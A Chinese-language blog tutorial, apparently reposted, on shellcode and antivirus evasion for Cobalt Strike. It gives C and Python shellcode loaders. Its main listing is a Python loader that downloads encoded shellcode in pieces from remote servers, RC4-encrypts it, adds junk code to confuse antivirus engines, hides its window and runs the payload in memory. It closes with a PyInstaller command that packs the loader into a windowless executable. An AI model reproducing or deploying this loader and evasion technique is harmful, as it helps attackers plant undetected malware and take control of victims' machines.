shellcode的原理与编写,shellcode代码

首页 > 经验 > 作者:YD1662022-11-07 08:20:19

0x01 前言

2019年,告别了coder的世界,告别了从前的生活。我决定暂时抛开金钱至上的价值体系,以一个Fucking loser的身份去寻找人生中的三大哲学问题,我是谁,我在哪儿,我在做什么。褪去了互联网行业的尔虞我诈,轻浮缥缈。在这个铺天盖地的泛娱乐时代,我决定去看看大海,去感受下海水的味道,没错,它确实是咸的。当沙滩上的沙子铺满全身的那一刻,我,拥有了几分钟童年。在途中,偶遇了黄河,没错,它确实很黄,并且波涛汹涌。也在这途中,缘分使我进入了曾经告别的安全行业。

0x02 概述

1、什么是shellcode

在维基百科中这样解释道:在黑客攻击中,shellcode是一小段代码,用于利用软件漏洞作为有效载荷。它之所以被称为“shellcode”,是因为它通常启动一个命令shell,攻击者可以从这个命令shell控制受损的计算机,但是执行类似任务的任何代码都可以被称为shellcode。因为有效载荷(payload)的功能不仅限于生成shell,所以有些人认为shellcode的名称是不够严谨的。然而,试图取代这一术语的努力并没有得到广泛的接受。shellcode通常是用机器码编写的。

翻译成人话就是:shellcode是一段机器码,用于执行某些动作。

2、什么是机器码

在百度百科中这样解释道:计算机直接使用的程序语言,其语句就是机器指令码,机器指令码是用于指挥计算机应做的操作和操作数地址的一组二进制数。

翻译成人话就是:直接指挥计算机的机器指令码。

人们用助记符号代替机器指令码从而形成了汇编语言,后来为了使计算机用户编程序更容易,发展出了各种高级计算机语言。但是,无论是汇编语言还是其他各种面向过程异或面向对象的高级语言所写的代码最终都要被相关的翻译编译环境转换成相应的机器指令码,计算机才能运行该段代码,因为计算机只认识机器指令码。

3、什么是shellcode loader

人话:shellcode loader 是用于加载和运行shellcode的代码。

C/C 加载方式

#include "pch.h" #include <windows.h> #include <stdio.h> #pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")//不显示窗口 unsigned char shellcode[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\......"; void main() { LPVOID Memory = VirtualAlloc(NULL, sizeof(shellcode),MEM_COMMIT | MEM_RESERVE, PAGE_exeCUTE_READWRITE); if (Memory == NULL) { return; } memcpy(Memory, shellcode, sizeof(shellcode)); ((void(*)())Memory)(); } Python 加载方式

#!/usr/bin/python import ctypes shellcode = bytearray("\xfc\xe8\x89\x00\x00\x00\x60\x89......") ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40)) buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), buf, ctypes.c_int(len(shellcode))) ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_int(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0))) ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))

当然,shellcode loader的编写方式很多,汇编,go,csharp以及其他很多语言,这里不在一一举例,接下来我们进入利用python语言编写 shellcode loader 以达到静态动态都绕过*软的目的。

0x03 为什么使用python

python语言入门门槛低,上手快,且两三年前就出现了这种免*方式,但是很多人说网上公开的代码已经不免*了。事实真的如此吗?你有没有静下心来code过,是否去了解过相关的原理,是否通过学习到的原理去思维发散过,是否通过code去fuzz过?如果没有,你的Cobaltstrike和Metasploit只适合躺在那儿意淫,怪我咯。废话不多说,进入正题。

0x04 环境准备

1、python-2.7.17.amd64

下载地址:https://www.python.org/ftp/python/2.7.17/python-2.7.17.amd64.msi

2、pywin32-227.win-amd64-py2.7

下载地址:https://github.com/mhammond/pywin32/releases

shellcode的原理与编写,shellcode代码(1)

3、PyInstaller3.0

下载地址:https://github.com/pyinstaller/pyinstaller/releases

shellcode的原理与编写,shellcode代码(2)

4、简要说明:

这一套环境搭配是我经过不断的实验和个人喜好总结出来的,安装方式不在累述,如果你连这点学习能力都没有话,你还是让Cobaltstrike和Metasploit躺在那儿意淫吧。个人建议:第一:不要使用pip方式安装PyInstaller,至于为什么,你多尝试几次就知道各种兼容环境是有多麻烦了。第二:如果你本机还安装了python3的环境,如果你怕麻烦,你可以单独在虚拟机里面安装这个环境,因为python3和python2共存,你还得倒腾一会儿,里面的坑还有 pip2 pip3得区分开等等。愿意倒腾的推荐下面几篇文章用作参考

https://blog.csdn.net/zydz/article/details/78121936

https://blog.csdn.net/C_chuxin/article/details/82962797

https://blog.csdn.net/qq_34444097/article/details/103027906

0x05 免*原理

1、:shellcode字符串 不做硬编码(人话:shellcode字符串不写死在代码里面)

2、:shellcode字符串 多种编码方式混淆

3、:shellcode字符串 加密

4、:添加无危害的代码执行流程扰乱av分析(早些年的花指令免*思维)

5、:CobaltStrike生成的shellcode是一段下载者,主要功能是下载becon.dll,然后加载进内存,很多功能都在bencon里面,所以说cs的shellcode其实不具备多少危险动作的,但是它为什么会被*毒软件查*呢,那是因为*毒软件利用一些算法例如模糊哈希算法(Fuzzy Hashing)提取出来了特征码。

6:CobaltStrike自身是用的管道进行进程通信。

目前的反病毒安全软件,常见有三种,一种基于特征,一种基于行为,一种基于云查*。云查*的特点基本也可以概括为特征查*。

根据我fuzz得出的结论:动态行为查*真的不好过么?答案是否定的:CobaltStrike的管道通信模式加上将花指令免*思维运用在高级语言层面上一样有效,人话就是在shellcode loader的代码层面加一些正常的代码,让exe本身拥有正常的动作,扰乱av的判断,当然这个的前提是因为我们站在了CobaltStrike的管道通信模式的优势上。静态查*好过么?答案是:好过,shellcode不落地 CobaltStrike本身的管道通信模式 shellcode字符串各种组合的编码 加密。云查*的特点约等于特征查*,好过。

总结:本文所阐述的粗略且浅显的免*方法都是站在CobaltStrike强大的肩膀上实现的。

0x06 show you the code

from ctypes import * import ctypes import sys, os, hashlib, time, base64 import random, string import requests import time # 获取随机字符串函数,减少特征 def GenPassword(length): numOfNum = random.randint(1,length-1) numOfLetter = length - numOfNum slcNum = [random.choice(string.digits) for i in range(numOfNum)] slcLetter = [random.choice(string.ascii_letters) for i in range(numOfLetter)] slcChar = slcNum slcLetter random.shuffle(slcChar) getPwd = ''.join([i for i in slcChar]) return getPwd # rc4加解密函数,public_key(公钥)使用GenPassword函数,减少特征 def rc4(string, op='encode', public_key=GenPassword(7), expirytime=0): ckey_lenth = 4 public_key = public_key and public_key or '' key = hashlib.md5(public_key).hexdigest() keya = hashlib.md5(key[0:16]).hexdigest() keyb = hashlib.md5(key[16:32]).hexdigest() keyc = ckey_lenth and (op == 'decode' and string[0:ckey_lenth] or hashlib.md5(str(time.time())).hexdigest()[32 - ckey_lenth:32]) or '' cryptkey = keya hashlib.md5(keya keyc).hexdigest() key_lenth = len(cryptkey) # 64 string = op == 'decode' and base64.b64decode(string[4:]) or '0000000000' hashlib.md5(string keyb).hexdigest()[0:16] string string_lenth = len(string) result = '' box = list(range(256)) randkey = [] for i in xrange(255): randkey.append(ord(cryptkey[i % key_lenth])) for i in xrange(255): j = 0 j = (j box[i] randkey[i]) % 256 tmp = box[i] box[i] = box[j] box[j] = tmp for i in xrange(string_lenth): a = j = 0 a = (a 1) % 256 j = (j box[a]) % 256 tmp = box[a] box[a] = box[j] box[j] = tmp result = chr(ord(string[i]) ^ (box[(box[a] box[j]) % 256])) if op == 'decode': if (result[0:10] == '0000000000' or int(result[0:10]) - int(time.time()) > 0) and result[10:26] == hashlib.md5( result[26:] keyb).hexdigest()[0:16]: return result[26:] else: return None else: return keyc base64.b64encode(result) # 以下为shellcode loader代码 # shellcode字符串经过base64编码再经过hex编码分成三块,存放在某几个服务器上 # get请求方式得到经过编码的shellcode字符串 res1 = requests.get("http://xxx.xxx.xxx/code/Shellcode1.TXT") res2 = requests.get("http://xxx.xxx.xxx/code/Shellcode2.TXT") res3 = requests.get("http://xxx.xxx.xxx/code/Shellcode3.TXT") VirtualAlloc = ctypes.windll.kernel32.VirtualAlloc VirtualProtect = ctypes.windll.kernel32.VirtualProtect whnd = ctypes.windll.kernel32.GetConsoleWindow() rcpw = GenPassword(13) # 得到经过编码后的shellcode字符串后进行rc4加密,私钥通过GenPassword()函数得到 # 以此减少特码,达到内存中不暴露shellcode原始字符串 buf = rc4(base64.b64decode(res1.text res2.text res3.text).decode('hex'),'encode',rcpw) rc4(res2.text,'encode',GenPassword(13))# 干扰代码 if whnd != 0: if GenPassword(6) != GenPassword(7):#干扰代码 ctypes.windll.user32.ShowWindow(whnd, 0) ctypes.windll.kernel32.CloseHandle(whnd) # 解密shellcode scode = bytearray(rc4(buf, 'decode', rcpw)) rc4(res2.text res1.text,'encode',GenPassword(13))# 干扰代码 # 申请可读可写不可执行的内存 memHscode = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(scode)), ctypes.c_int(0x3000), ctypes.c_int(0x40)) rc4(res1.text,'encode',GenPassword(13))# 干扰代码 buf = (ctypes.c_char * len(scode)).from_buffer(scode) old = ctypes.c_long(1) # 使用VirtualProtect将shellcode的内存区块设置为可执行,所谓的渐进式加载模式 VirtualProtect(memHscode, ctypes.c_int(len(scode)), 0x40, ctypes.byref(old)) ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(memHscode), buf, ctypes.c_int(len(scode))) fuck=rc4(GenPassword(7),'encode',GenPassword(13))# 干扰代码 runcode = cast(memHscode, CFUNCTYPE(c_void_p))# 创建 shellcode 的函数指针 fuck=rc4(GenPassword(7),'encode',GenPassword(13))# 干扰代码 runcode()# 执行 0x07 利用PyInstaller编译

1、不指定图标的编译方式

python2 PyInstaller.py --noconsole --onefile cs\cs.py

shellcode的原理与编写,shellcode代码(3)

shellcode的原理与编写,shellcode代码(4)

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